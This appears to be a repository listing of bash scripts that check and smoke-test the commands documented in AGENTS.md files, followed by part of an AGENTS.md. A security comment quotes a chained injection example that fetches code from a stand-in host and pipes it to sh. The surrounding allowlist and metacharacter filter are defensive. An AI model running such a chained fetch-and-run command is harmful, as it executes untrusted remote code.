OUTPUT_JSON=PATH Sidecar results file (default: PROJECT_DIR/.agents/command-verification.json) Examples: verify-commands.sh . # Verify commands in ./AGENTS.md verify-commands.sh . --json # Machine-readable JSON output EOF exit 0 ;; *) PROJECT_DIR="$1" shift ;; esac done AGENTS_FILE="$PROJECT_DIR/AGENTS.md" VERBOSE="${VERBOSE:-false}" DRY_RUN="${DRY_RUN:-false}" SMOKE_TEST="${SMOKE_TEST:-false}" TIMEOUT="${TIMEOUT:-60}" OUTPUT_JSON="${OUTPUT_JSON:-$PROJECT_DIR/.agents/command-verification.json}" # Colors RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m' # No Color log() { if [ "$VERBOSE" = true ]; then echo -e "[INFO] $*" >&2 fi } error() { echo -e "${RED}[ERROR]${NC} $*" >&2 } success() { echo -e "${GREEN}[OK]${NC} $*" } warn() { echo -e "${YELLOW}[WARN]${NC} $*" } # Check if AGENTS.md exists if [ ! -f "$AGENTS_FILE" ]; then error "AGENTS.md not found at $AGENTS_FILE" exit 1 fi cd "$PROJECT_DIR" # In JSON mode, route all human-readable output to /dev/null and reserve the # original stdout (fd 3) for the single JSON document emitted at the end. This # keeps --json strictly additive: the default (no-flag) path is untouched. JSON_CMDS=() if [[ "$JSON" = true ]]; then exec 3>&1 1>/dev/null fi echo "Verifying commands in $AGENTS_FILE..." echo "" FAILED=0 PASSED=0 SKIPPED=0 # JSON results storage declare -A COMMAND_RESULTS # Initialize JSON output directory (always needed for results) mkdir -p "$(dirname "$OUTPUT_JSON")" # Check if a command is safe to execute using a whitelist approach. # Only commands whose base binary is in the ALLOWED_COMMANDS list are permitted. # Returns 0 if safe, 1 if not whitelisted. # # The command is executed later as a whole string by `bash -c`, so checking the # first word alone decides nothing: "git status; curl http://x | sh" passes a # base-command check and then runs both halves (#104). Anything carrying shell # syntax that could chain, redirect or substitute a second command is therefore # rejected outright rather than approved on its prefix. is_safe_command() { local cmd="$1" # Shell metacharacters: command separators (; & |), substitution ($ `), # redirection (< >), grouping ({ } ( )), globs that could expand into # further arguments, and newlines. A documented build command needs none # of them; anything that does is not verifiable by smoke-running it. if [[ "$cmd" == *[\;\&\|\`\$\<\>\{\}\(\)\*\?\!$'\n']* ]]; then return 1 fi # Whitelist of known safe base commands. # These are common build/dev tools that are safe to invoke for verification. local -a ALLOWED_COMMANDS=( # Version control git # File inspection ls cat head tail less wc file stat find grep egrep fgrep rg ag sed awk sort uniq diff # Build tools / package managers make go npm yarn pnpm bun composer cargo deno gradle gradlew python python3 pip pip3 poetry uv pytest php phpunit node ruby bundle gem mvn ant # Project-specific binaries (resolved via PATH or relative path) vendor/bin # Container tools (read-only / informational subcommands only) docker podman # Linters and formatters eslint prettier phpcs phpcbf phpstan psalm rector black flake8 mypy ruff shellcheck # Documentation / misc # curl/wget are deliberately absent: fetching a URL is not a way to # verify that a documented build command works, and they are the two # entries that turn an allowlisted base command into an outbound # request (#104). Such commands are reported as not smoke-tested. jq yq # Testing jest vitest mocha ) # Extract the base command (first word), stripping any leading ./ local base_cmd base_cmd=$(echo "$cmd" | awk '{print $1}' | sed 's|^\./||') # Allow vendor/bin/* paths if [[ "$base_cmd" == vendor/bin/* ]]; then return 0 fi # Check against whitelist for allowed in "${ALLOWED_COMMANDS[@]}"; do if [[ "$base_cmd" == "$allowed" ]]; then return 0 fi done # Not in whitelist - reject return 1 } # Portable milliseconds timestamp (works on both GNU and BSD date) get_time_ms() { # Try GNU date with nanoseconds first, fall back to seconds * 1000 if date +%s%3N 2>/dev/null | grep -qE '^[0-9]+$'; then date +%s%3N else echo $(( $(date +%s) * 1000 )) fi } # Run a command with timeout and measure duration smoke_test_command() { local cmd="$1" local start_time end_time duration_ms exit_code # Safety check - skip dangerous commands if ! is_safe_command "$cmd"; then warn "Not smoke-tested (not on the allowlist, or contains shell syntax): $cmd" COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false, "skipped": true, "reason": "safety"}' return 1 fi start_time=$(get_time_ms) # Run with timeout, capture exit code if timeout "${TIMEOUT}s" bash -c "$cmd" > /dev/null 2>&1; then exit_code=0 else exit_code=$? fi end_time=$(get_time_ms) duration_ms=$((end_time - start_time)) # Store result if [ $exit_code -eq 0 ]; then COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": true, "duration_ms": '"$duration_ms"'}' return 0 elif [ $exit_code -eq 124 ]; then # Timeout COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false, "timeout": true, "duration_ms": '"$((TIMEOUT * 1000))"'}' return 1 else COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false, "exit_code": '"$exit_code"', "duration_ms": '"$duration_ms"'}' return 1 fi } # Write results to JSON file write_json_results() { local timestamp # Portable ISO 8601 timestamp (works on both GNU and BSD date) timestamp=$(date -u +"%Y-%m-%dT%H:%M:%SZ") { echo "{" echo ' "verified_at": "'"$timestamp"'",' echo ' "smoke_tested": '"$SMOKE_TEST"',' echo ' "commands": {' local first=true for cmd in "${!COMMAND_RESULTS[@]}"; do if [ "$first" = true ]; then first=false else echo "," fi # Escape the command string for JSON local escaped_cmd escaped_cmd=$(echo "$cmd" | sed 's/\\/\\\\/g; s/"/\\"/g') printf ' "%s": %s' "$escaped_cmd" "${COMMAND_RESULTS[$cmd]}" done echo "" echo " }" echo "}" } > "$OUTPUT_JSON" log "Results written to $OUTPUT_JSON" } # Extract commands from markdown code blocks and table cells # Look for patterns like: `command arg` or | command | or | `command` | extract_commands() { # Extract from tables with backticks (| `command` | format) # shellcheck disable=SC2016 # grep/sed pattern: backticks are literal. grep -oE '\| `[^`]+`' "$AGENTS_FILE" 2>/dev/null | sed 's/| `//;s/`$//' | grep -v '^\s*$' || true # Extract from tables without backticks in Commands section # Look for lines like "| Lint | vendor/bin/php-cs-fixer fix --dry-run |" # Skip header row and separator row, get 3rd column (command), filter empty and time estimates sed -n '/^## Commands/,/^##/p' "$AGENTS_FILE" 2>/dev/null | \ grep -E '^\|' | \ tail -n +3 | \ cut -d'|' -f3 | \ sed 's/^[[:space:]]*//;s/[[:space:]]*$//' | \ grep -v '^$' | \ grep -v '^~' || true # Extract from inline code that looks like commands # Includes: npm, yarn, pnpm, bun, make, go, composer, cargo, python, pip, poetry, uv, deno, gradle, php, vendor/bin # shellcheck disable=SC2016 # grep/sed pattern: backticks are literal. grep -oE '`(npm |yarn |pnpm |bun |make |go |composer |cargo |pytest |python |pip |poetry |uv |deno |gradle |php |vendor/bin/)[^`]+`' "$AGENTS_FILE" 2>/dev/null | sed 's/`//g' || true } # Verify a single command exists (not that it succeeds, just that it's callable) verify_command() { local cmd="$1" local base_cmd # Extract the base command (first word) base_cmd=$(echo "$cmd" | awk '{print $1}') # Skip placeholders if [[ "$cmd" == *"<"* ]] || [[ "$cmd" == *"{{{"* ]]; then log "Skipping placeholder: $cmd" ((SKIPPED+=1)) return 0 fi # Skip if it's just a flag or option if [[ "$base_cmd" == -* ]]; then return 0 fi log "Checking: $cmd" # Check different command types case "$base_cmd" in npm|yarn|pnpm|bun) # Check if package.json script exists local script="${cmd#* }" script="${script#run }" script="${script%% *}" if [ -f "package.json" ]; then local script_exists=false if jq -e ".scripts[\"$script\"]" package.json > /dev/null 2>&1; then script_exists=true elif [[ "$script" =~ ^(install|test|build|start|run)$ ]]; then script_exists=true fi if [ "$script_exists" = true ]; then if [ "$SMOKE_TEST" = true ]; then # For test commands, only verify they start (dry-run if available) local test_cmd="$cmd" if [[ "$script" == "test" ]]; then # Try to use --help or --dry-run to avoid full test run test_cmd="$base_cmd run $script -- --help 2>/dev/null || $base_cmd run $script --dry-run 2>/dev/null || true" fi if smoke_test_command "$test_cmd"; then local duration="${COMMAND_RESULTS[$cmd]}" duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ') success "$base_cmd script works: $script (~${duration}ms)" ((PASSED+=1)) else warn "$base_cmd script exists but smoke test failed: $script" COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false}' ((SKIPPED+=1)) fi else success "$base_cmd script exists: $script" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) fi else warn "$base_cmd script not found: $script (in $cmd)" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi else warn "No package.json found for: $cmd" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi ;; make) # Check if Makefile target exists local target="${cmd#make }" target="${target%% *}" if [ -f "Makefile" ] || [ -f "makefile" ] || [ -f "GNUmakefile" ]; then if make -n "$target" > /dev/null 2>&1; then if [ "$SMOKE_TEST" = true ]; then # Use make -n (dry run) for smoke test to avoid side effects if smoke_test_command "make -n $target"; then local duration="${COMMAND_RESULTS[$cmd]}" duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ') success "make target works: $target (~${duration}ms)" ((PASSED+=1)) else warn "make target exists but dry-run failed: $target" COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false}' ((SKIPPED+=1)) fi else success "make target exists: $target" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) fi else error "make target not found: $target" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((FAILED+=1)) fi else warn "No Makefile found for: $cmd" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi ;; composer) # Check if composer script exists local script="${cmd#composer }" script="${script%% *}" if [ -f "composer.json" ]; then local script_exists=false if [[ "$script" =~ ^(install|update|require|remove|dump-autoload)$ ]]; then script_exists=true elif jq -e ".scripts[\"$script\"]" composer.json > /dev/null 2>&1; then script_exists=true fi if [ "$script_exists" = true ]; then if [ "$SMOKE_TEST" = true ]; then # For composer scripts, try --dry-run or --help local test_cmd="$cmd" if [[ "$script" =~ ^(install|update)$ ]]; then test_cmd="composer $script --dry-run 2>/dev/null || true" fi if smoke_test_command "$test_cmd"; then local duration="${COMMAND_RESULTS[$cmd]}" duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ') success "composer script works: $script (~${duration}ms)" ((PASSED+=1)) else warn "composer script exists but smoke test failed: $script" COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false}' ((SKIPPED+=1)) fi else success "composer script exists: $script" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) fi else warn "composer script not found: $script" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi else warn "No composer.json found for: $cmd" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi ;; python|python3|pip|pip3) # Python commands if command -v "$base_cmd" > /dev/null 2>&1; then success "Python command available: $base_cmd" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) else warn "Python command not found: $base_cmd" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi ;; poetry) # Poetry package manager if command -v poetry > /dev/null 2>&1; then local subcmd="${cmd#poetry }" subcmd="${subcmd%% *}" if [[ "$subcmd" =~ ^(install|add|remove|update|build|publish|run|shell)$ ]]; then success "poetry command: $subcmd" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) else # Check if it's a custom script if [ -f "pyproject.toml" ] && grep -q "\[tool.poetry.scripts\]" pyproject.toml 2>/dev/null; then success "poetry command available" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) else warn "poetry script not found: $subcmd" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi fi else warn "poetry not installed" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi ;; uv) # uv package manager if command -v uv > /dev/null 2>&1; then success "uv command available" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) else warn "uv not installed" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi ;; pytest) # pytest test runner if command -v pytest > /dev/null 2>&1; then success "pytest available" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) else warn "pytest not installed" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi ;; cargo) # Rust cargo if command -v cargo > /dev/null 2>&1; then success "cargo command available" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) else warn "cargo not installed" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi ;; deno) # Deno runtime if command -v deno > /dev/null 2>&1; then success "deno command available" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) else warn "deno not installed" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi ;; gradle|gradlew|./gradlew) # Gradle build tool if [ -f "gradlew" ] || [ -f "build.gradle" ] || [ -f "build.gradle.kts" ]; then success "gradle project detected" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) elif command -v gradle > /dev/null 2>&1; then success "gradle command available" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) else warn "gradle not found" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi ;; go) # Go commands are generally available if go is installed if command -v go > /dev/null 2>&1; then if [ "$SMOKE_TEST" = true ]; then if smoke_test_command "$cmd"; then local duration="${COMMAND_RESULTS[$cmd]}" duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ') success "go command ran successfully (~${duration}ms)" ((PASSED+=1)) else error "go command failed: $cmd" ((FAILED+=1)) fi else success "go command available" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) fi else error "go not installed" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((FAILED+=1)) fi ;; vendor/bin/*) # PHP vendor binary if [ -f "$base_cmd" ]; then if [ "$SMOKE_TEST" = true ]; then # For test commands, run with --help to avoid actually running tests local test_cmd="$cmd" if [[ "$cmd" == *"phpunit"* ]] && [[ "$cmd" != *"--help"* ]]; then test_cmd="$base_cmd --help" fi if smoke_test_command "$test_cmd"; then local duration="${COMMAND_RESULTS[$cmd]}" duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ') success "vendor binary works (~${duration}ms)" ((PASSED+=1)) else warn "vendor binary exists but failed: $cmd" ((SKIPPED+=1)) fi else success "vendor binary exists: $base_cmd" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) fi else error "vendor binary not found: $base_cmd" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((FAILED+=1)) fi ;; *) # Check if command exists in PATH if command -v "$base_cmd" > /dev/null 2>&1; then if [ "$SMOKE_TEST" = true ]; then if smoke_test_command "$cmd"; then local duration="${COMMAND_RESULTS[$cmd]}" duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ') success "command works (~${duration}ms)" ((PASSED+=1)) else warn "command exists but failed: $cmd" ((SKIPPED+=1)) fi else success "command exists: $base_cmd" COMMAND_RESULTS["$cmd"]='{"exists": true}' ((PASSED+=1)) fi else warn "command not in PATH: $base_cmd" COMMAND_RESULTS["$cmd"]='{"exists": false}' ((SKIPPED+=1)) fi ;; esac } # Get unique commands mapfile -t commands < <(extract_commands | sort -u) if [ ${#commands[@]} -eq 0 ]; then warn "No commands found in AGENTS.md" if [[ "$JSON" = true ]]; then jq -nc --argjson p "$PASSED" --argjson s "$SKIPPED" --argjson f "$FAILED" \ '{script:"verify-commands",schema:1,summary:{passed:$p,skipped:$s,failed:$f},commands:[]}' >&3 fi exit 0 fi echo "Found ${#commands[@]} unique commands to verify" echo "" for cmd in "${commands[@]}"; do [ -n "$cmd" ] && verify_command "$cmd" done # Emit JSON document (machine-readable) and exit before the human summary. # Summary counts come from the authoritative PASSED/SKIPPED/FAILED counters; the # commands[] array is built best-effort from COMMAND_RESULTS (iterating its keys, # parsing each stored value as JSON, else null). if [[ "$JSON" = true ]]; then if [[ "${#COMMAND_RESULTS[@]}" -gt 0 ]]; then # Iterate keys in SORTED order: associative-array key order is otherwise # unspecified in Bash, which would make commands[] order vary run to run. # read -r (not word-split) preserves command strings that contain spaces. while IFS= read -r cmd; do stored="${COMMAND_RESULTS[$cmd]}" if entry=$(jq -nc --arg cmd "$cmd" --argjson detail "$stored" \ '{cmd:$cmd,detail:$detail}' 2>/dev/null); then JSON_CMDS+=("$entry") else JSON_CMDS+=("$(jq -nc --arg cmd "$cmd" '{cmd:$cmd,detail:null}')") fi done < <(printf '%s\n' "${!COMMAND_RESULTS[@]}" | LC_ALL=C sort) fi if [[ "${#JSON_CMDS[@]}" -eq 0 ]]; then arr_json='[]' else arr_json=$(printf '%s\n' "${JSON_CMDS[@]}" | jq -s '.') fi jq -nc \ --argjson items "$arr_json" \ --argjson p "$PASSED" \ --argjson s "$SKIPPED" \ --argjson f "$FAILED" \ '{script:"verify-commands",schema:1,summary:{passed:$p,skipped:$s,failed:$f},commands:$items}' >&3 if [[ "$FAILED" -gt 0 ]]; then exit 1; fi exit 0 fi echo "" echo "======================================" echo "Verification Summary" echo "======================================" echo -e "${GREEN}Passed:${NC} $PASSED" echo -e "${YELLOW}Skipped:${NC} $SKIPPED" echo -e "${RED}Failed:${NC} $FAILED" echo "" if [ "$FAILED" -gt 0 ]; then echo -e "${RED}Some commands in AGENTS.md are invalid!${NC}" echo "Update AGENTS.md to fix broken command references." # Still write JSON results if [ "$DRY_RUN" = false ] && [ ${#COMMAND_RESULTS[@]} -gt 0 ]; then write_json_results fi exit 1 else echo -e "${GREEN}All verifiable commands are valid.${NC}" # Write JSON results if [ "$DRY_RUN" = false ] && [ ${#COMMAND_RESULTS[@]} -gt 0 ]; then write_json_results echo "Verification results saved to $OUTPUT_JSON" fi # Update verified timestamp if not dry-run if [ "$DRY_RUN" = false ] && [ -w "$AGENTS_FILE" ]; then TODAY=$(date +%Y-%m-%d) if grep -q "Last verified:" "$AGENTS_FILE"; then # Portable sed -i: use backup extension then remove backup sed -i.bak "s/Last verified: .*/Last verified: $TODAY -->/" "$AGENTS_FILE" && rm -f "$AGENTS_FILE.bak" echo "Updated 'Last verified' timestamp to $TODAY" fi fi fi -
verify-content.sh 12.7 KB
#!/usr/bin/env bash # verify-content.sh - Verify AGENTS.md content against actual codebase state # This script checks if documented information matches reality. # # CRITICAL: Never trust existing AGENTS.md content. Always verify. set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" PROJECT_DIR="${1:-.}" VERBOSE=false FIX_MODE=false JSON=false EXIT_CODE=0 # Relative path of the AGENTS.md currently being verified; captured into each # issue's "file" field in JSON mode. Empty => emitted as JSON null. CURRENT_FILE="" # Colors RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m' # Parse flags while [[ $# -gt 0 ]]; do case $1 in --verbose|-v) VERBOSE=true shift ;; --fix) FIX_MODE=true shift ;; --json) JSON=true shift ;; --help|-h) cat <<EOF Usage: verify-content.sh [PROJECT_DIR] [OPTIONS] Verify AGENTS.md content against actual codebase state. This script extracts information from the actual codebase and compares it against what's documented in AGENTS.md files. Reports discrepancies that need manual review or correction. Options: --verbose, -v Show detailed comparison output --fix Suggest fixes for common issues --json Emit machine-readable JSON on stdout (human output suppressed) --help, -h Show this help message Verification checks: 1. Documented files exist (scripts, modules, tests) 2. Documented commands work (make targets) 3. Counts are accurate (module count, script count) 4. Descriptions match actual docstrings Exit codes: 0 - All checks passed 1 - Discrepancies found 2 - Error running verification Examples: verify-content.sh . # Verify current project verify-content.sh /path/to/project -v # Verbose output verify-content.sh . --fix # Show fix suggestions EOF exit 0 ;; *) PROJECT_DIR="$1" shift ;; esac done cd "$PROJECT_DIR" # In JSON mode, route all human-readable output to /dev/null and reserve the # original stdout (fd 3) for the single JSON document emitted at the end. This # keeps --json strictly additive: the default (no-flag) path is byte-for-byte # unchanged. JSON_ISSUES=() if [[ "$JSON" = true ]]; then exec 3>&1 1>/dev/null fi echo "Verifying AGENTS.md content in: $(pwd)" echo "" # Track issues declare -a ISSUES=() add_issue() { local severity="$1" local message="$2" ISSUES+=("[$severity] $message") EXIT_CODE=1 # In JSON mode, also record a structured issue. "message" is stored without # the [SEVERITY] prefix; "file" is the AGENTS.md currently under inspection # (CURRENT_FILE), coerced to JSON null when empty. if [[ "$JSON" = true ]]; then JSON_ISSUES+=("$(jq -nc --arg sev "$severity" --arg msg "$message" --arg file "$CURRENT_FILE" \ '{severity:$sev,message:$msg,file:($file|if .=="" then null else . end)}')") fi } log_check() { if [ "$VERBOSE" = true ]; then echo " Checking: $1" fi } # ============================================================================ # VERIFICATION FUNCTIONS # ============================================================================ # shellcheck disable=SC2329 # Called indirectly by verification driver verify_file_exists() { local file="$1" local source="$2" if [ ! -f "$file" ] && [ ! -d "$file" ]; then add_issue "ERROR" "File documented in $source does not exist: $file" return 1 fi return 0 } verify_makefile_target() { local target="$1" if [ -f "Makefile" ]; then # Check in main Makefile and includes if ! grep -rq "^${target}:" Makefile Makefile.d/ 2>/dev/null; then add_issue "WARN" "Makefile target may not exist: $target" return 1 fi fi return 0 } extract_documented_files() { local agents_file="$1" # Extract file references inside markdown code spans, e.g. `filename.sh`. # NOTE: the delimiters must be LITERAL backticks. A previous version used # \` which GNU grep interprets as the "start of buffer" anchor, so this # check silently matched nothing. # shellcheck disable=SC2016 # Literal backticks are intended (markdown code spans), no expansion wanted grep -oE '`[a-zA-Z0-9_-]+\.(sh|py|go|php|ts|js|json)`' "$agents_file" 2>/dev/null | tr -d '`' | sort -u || true } extract_documented_scripts() { local agents_file="$1" # Extract script references like install_python.sh, guide.sh grep -oE '\b[a-zA-Z0-9_-]+\.sh\b' "$agents_file" 2>/dev/null | sort -u || true } # ============================================================================ # ROOT AGENTS.MD VERIFICATION # ============================================================================ echo "=== Verifying Root AGENTS.md ===" # Attribute root-section issues to the root AGENTS.md. CURRENT_FILE="AGENTS.md" if [ -f "AGENTS.md" ]; then echo -e "${GREEN}✓${NC} Root AGENTS.md exists" # Check documented make targets log_check "Makefile targets" # `|| true`: with `set -o pipefail`, a no-match grep makes this pipeline exit # non-zero, which under `set -e` aborts the entire script here in the root # section -- so the scoped-file loop below never runs. Tolerating the # non-zero (as MODULE_COUNTS/SCRIPT_COUNTS already do) lets verification # continue. Pre-existing bug: AGENTS.md without 'make ' commands aborted early. DOCUMENTED_TARGETS=$(grep -oE 'make [a-z_-]+' AGENTS.md | sed 's/make //' | sort -u || true) for target in $DOCUMENTED_TARGETS; do verify_makefile_target "$target" || true done # Check for module count claims log_check "Module counts" MODULE_COUNTS=$(grep -oE '[0-9]+ (Python )?modules?' AGENTS.md | grep -oE '[0-9]+' || true) for count in $MODULE_COUNTS; do # Try to find actual module directories for dir in src cli_audit lib Classes app; do if [ -d "$dir" ]; then ACTUAL_COUNT=$(find "$dir" -maxdepth 1 -name "*.py" -o -name "*.php" -o -name "*.go" 2>/dev/null | wc -l) if [ "$ACTUAL_COUNT" -gt 0 ] && [ "$count" != "$ACTUAL_COUNT" ]; then add_issue "WARN" "Module count mismatch in $dir: documented=$count, actual=$ACTUAL_COUNT" fi fi done done # Check for script count claims log_check "Script counts" SCRIPT_COUNTS=$(grep -oE '[0-9]+ (Bash )?scripts?' AGENTS.md | grep -oE '[0-9]+' || true) if [ -d "scripts" ] && [ -n "$SCRIPT_COUNTS" ]; then ACTUAL_SCRIPTS=$(find scripts -maxdepth 1 -name "*.sh" 2>/dev/null | wc -l) for count in $SCRIPT_COUNTS; do if [ "$count" != "$ACTUAL_SCRIPTS" ]; then add_issue "WARN" "Script count mismatch: documented=$count, actual=$ACTUAL_SCRIPTS" fi done fi else add_issue "ERROR" "Root AGENTS.md does not exist" fi echo "" # ============================================================================ # SCOPED AGENTS.MD VERIFICATION # ============================================================================ echo "=== Verifying Scoped AGENTS.md Files ===" # Find all scoped AGENTS.md files SCOPED_FILES=$(find . -mindepth 2 -name "AGENTS.md" -not -path "./.git/*" 2>/dev/null || true) for scoped_file in $SCOPED_FILES; do scope_dir=$(dirname "$scoped_file") scope_name=$(basename "$scope_dir") # Attribute this iteration's issues to the scoped file (relative, no ./). CURRENT_FILE="${scoped_file#./}" echo "" echo "Checking: $scoped_file" # Extract and verify documented files log_check "Documented files exist" DOCUMENTED=$(extract_documented_files "$scoped_file") for doc_file in $DOCUMENTED; do # A documented file may live anywhere in the tree (src/, app/, ...), not # just the scope dir, so search the whole project for its basename and # only flag when it exists NOWHERE. This avoids false positives from the # previous narrow 3-location check. if ! find . -name "$doc_file" \ -not -path './.git/*' -not -path '*/node_modules/*' -not -path '*/vendor/*' \ -print -quit 2>/dev/null | grep -q .; then # Special handling for common false positives case "$doc_file" in *.json|*.md|*.yml|*.yaml) # Config files might be in various locations, skip ;; *) add_issue "ERROR" "File documented in $scoped_file does not exist: $doc_file" ;; esac fi done # For scripts/ scope, verify all documented scripts exist if [ "$scope_name" = "scripts" ]; then log_check "Script files exist" SCRIPTS=$(extract_documented_scripts "$scoped_file") for script in $SCRIPTS; do # Check multiple locations: scripts/, scripts/lib/, ./ if [ ! -f "scripts/$script" ] && [ ! -f "scripts/lib/$script" ] && [ ! -f "./$script" ]; then # Skip if it's in a commit message example (common pattern: feat(scripts): add xxx.sh) if grep -q "feat(scripts):.*$script\|fix(scripts):.*$script\|chore(scripts):.*$script" "$scoped_file" 2>/dev/null; then [ "$VERBOSE" = true ] && echo " Skipping $script (commit message example)" continue fi add_issue "ERROR" "Script documented but does not exist: $script" fi done # Check for undocumented scripts log_check "All scripts documented" if [ -d "scripts" ]; then for actual_script in scripts/*.sh; do script_name=$(basename "$actual_script") if ! grep -q "$script_name" "$scoped_file" 2>/dev/null; then add_issue "WARN" "Script exists but not documented: $script_name" fi done fi fi # For tests/ scope, verify test file listing if [ "$scope_name" = "tests" ]; then log_check "Test files documented" if [ -d "tests" ]; then for test_file in tests/test_*.py; do if [ -f "$test_file" ]; then test_name=$(basename "$test_file") if ! grep -q "$test_name" "$scoped_file" 2>/dev/null; then add_issue "WARN" "Test file exists but not documented: $test_name" fi fi done fi fi echo -e "${GREEN}✓${NC} Checked: $scoped_file" done # ============================================================================ # JSON OUTPUT # ============================================================================ # Emit the machine-readable JSON document (to the reserved fd 3) and exit using # the SAME EXIT_CODE the human path uses. summary.errors/warns are derived from # the assembled issues array; total mirrors ${#ISSUES[@]}. if [[ "$JSON" = true ]]; then if [[ "${#JSON_ISSUES[@]}" -eq 0 ]]; then issues_json='[]' else issues_json=$(printf '%s\n' "${JSON_ISSUES[@]}" | jq -s '.') fi jq -nc \ --argjson items "$issues_json" \ --argjson total "${#ISSUES[@]}" \ '{script:"verify-content",schema:1, summary:{ errors:([$items[]|select(.severity=="ERROR")]|length), warns:([$items[]|select(.severity=="WARN")]|length), total:$total }, issues:$items}' >&3 exit $EXIT_CODE fi # ============================================================================ # SUMMARY # ============================================================================ echo "" echo "=== Verification Summary ===" if [ ${#ISSUES[@]} -eq 0 ]; then echo -e "${GREEN}✓ All verification checks passed!${NC}" else echo -e "${RED}Found ${#ISSUES[@]} issue(s):${NC}" echo "" for issue in "${ISSUES[@]}"; do case "$issue" in *ERROR*) echo -e " ${RED}$issue${NC}" ;; *WARN*) echo -e " ${YELLOW}$issue${NC}" ;; *) echo " $issue" ;; esac done if [ "$FIX_MODE" = true ]; then echo "" echo "=== Fix Suggestions ===" echo "1. Run extraction scripts to get actual state:" echo " $SCRIPT_DIR/detect-project.sh ." echo " $SCRIPT_DIR/extract-commands.sh ." echo "" echo "2. Compare extracted info with AGENTS.md content" echo "" echo "3. Update AGENTS.md files with verified information" echo "" echo "4. Re-run this verification: $0 . --verbose" fi fi echo "" exit $EXIT_CODE
-
-
AGENTS.md 3.9 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: 2026-02-05 --> # AGENTS.md — agents <!-- AGENTS-GENERATED:START overview --> ## Overview Claude Code skill/plugin providing AI agent capabilities <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files | File | Purpose | |------|---------| | `skills/agent-rules/scripts/verify-commands.sh` | !/usr/bin/env bash | | `skills/agent-rules/scripts/generate-file-map.sh` | !/usr/bin/env bash | | `skills/agent-rules/scripts/analyze-git-history.sh` | !/usr/bin/env bash | | `skills/agent-rules/scripts/detect-utilities.sh` | !/usr/bin/env bash | | `skills/agent-rules/scripts/extract-platform-files.sh` | !/usr/bin/env bash | <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) | Pattern | Reference | |---------|-----------| | Standard implementation | `skills/agent-rules/SKILL.md` | <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment - Plugin: agents v2.8.0 - Skills: 1 skill(s) in `skills/` - Install: `composer require netresearch/agent-rules-skill` <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START structure --> ## Directory structure ``` .claude-plugin/ plugin.json → Plugin manifest (name, version, skills) skills/ <skill-name>/ SKILL.md → Skill definition and instructions assets/ → Templates, reference docs scripts/ → Shell scripts for automation references/ → Examples, golden samples ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests - Lint scripts: `shellcheck skills/*/scripts/*.sh` - Validate plugin: `jq . .claude-plugin/plugin.json` <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - SKILL.md: Clear, actionable instructions for AI agents - Shell scripts: Follow ShellCheck recommendations - Templates: Use `` syntax for variables - Keep skills focused on one domain/task - Include 